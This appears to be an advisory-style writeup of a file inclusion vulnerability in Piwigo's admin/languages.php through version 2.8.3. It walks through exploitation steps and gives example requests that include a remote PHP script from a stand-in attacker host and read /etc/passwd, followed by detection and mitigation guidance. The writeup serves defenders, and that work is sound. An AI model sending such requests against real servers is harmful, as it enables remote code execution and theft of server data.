Source: cve@mitre.org
admin/languages.php in Piwigo through 2.8.3 allows remote authenticated administrators to conduct File Inclusion attacks via the tab parameter.
Piwigo versions 2.8.3 and below are vulnerable to a critical file inclusion vulnerability, allowing authenticated administrators to execute arbitrary code on the server. This flaw, triggered by manipulating the tab parameter in admin/languages.php, can lead to complete system compromise and data exfiltration. Successful exploitation grants attackers full control over the web server and the data it hosts.
Step 1: Authentication: The attacker must first authenticate as an administrator within the Piwigo instance. This could involve credential compromise, social engineering, or exploiting other vulnerabilities to gain administrative access.
Step 2: Payload Construction: The attacker crafts a malicious payload. This payload can be a local file path (e.g., /etc/passwd) to read sensitive data, or a remote URL pointing to a PHP script hosted on a server controlled by the attacker.
Step 3: Payload Delivery: The attacker sends a crafted HTTP request to admin/languages.php, manipulating the tab parameter to include the malicious payload. For example, admin/languages.php?tab=http://attacker.com/malicious.php or admin/languages.php?tab=/path/to/malicious_file.
Step 4: Code Execution: The server, due to the file inclusion vulnerability, executes the attacker's payload. If the payload is a PHP script, it is parsed and executed by the PHP interpreter on the server.
Step 5: System Compromise: The attacker's payload can then be used to perform various actions, such as reading sensitive files, uploading webshells, modifying database contents, or gaining a reverse shell for persistent access, leading to complete system compromise.
The vulnerability stems from insufficient input validation and sanitization of the tab parameter within the admin/languages.php script. The script directly includes files based on the value of this parameter without proper checks to ensure the included file is within the intended scope. Specifically, the code likely uses a construct like include($_GET['tab'] . '.php'); or similar, where the user-supplied tab value is directly concatenated with a file extension and included. This allows an attacker to specify a malicious file path, such as a local file (e.g., /etc/passwd) or a remote file containing PHP code, leading to arbitrary code execution. The root cause is a lack of input validation and output encoding, allowing for path traversal and remote code execution (RCE).
While no specific APTs are definitively linked to this CVE, the ease of exploitation and potential for complete system compromise make it attractive to a wide range of threat actors, including those seeking initial access or data exfiltration. This vulnerability is a common target for opportunistic attacks. Not listed on CISA KEV.
Monitor web server access logs for suspicious requests to admin/languages.php with unusual tab parameter values, especially those containing file paths or external URLs.
Analyze HTTP request patterns for unusual user-agent strings or request frequencies, indicating automated exploitation attempts.
Implement file integrity monitoring to detect unauthorized changes to critical system files, including those related to the web server and Piwigo installation.
Network Intrusion Detection Systems (IDS) can be configured to detect known exploit patterns, such as specific HTTP requests or payloads.
Examine PHP error logs for file inclusion errors or warnings related to the admin/languages.php script.
Upgrade to Piwigo version 2.8.4 or later, which includes a fix for this vulnerability.
Implement robust input validation and sanitization for all user-supplied parameters, including the tab parameter in admin/languages.php. Ensure that the parameter only accepts a predefined set of valid values or file paths.
Restrict file access permissions to the minimum necessary for the web server user.
Disable or restrict the use of the include and require functions in PHP configuration if possible.
Regularly scan the web server for known vulnerabilities and apply security patches promptly.
Implement a Web Application Firewall (WAF) to filter malicious requests and block exploitation attempts.
Review and harden the web server configuration, including disabling unnecessary modules and services.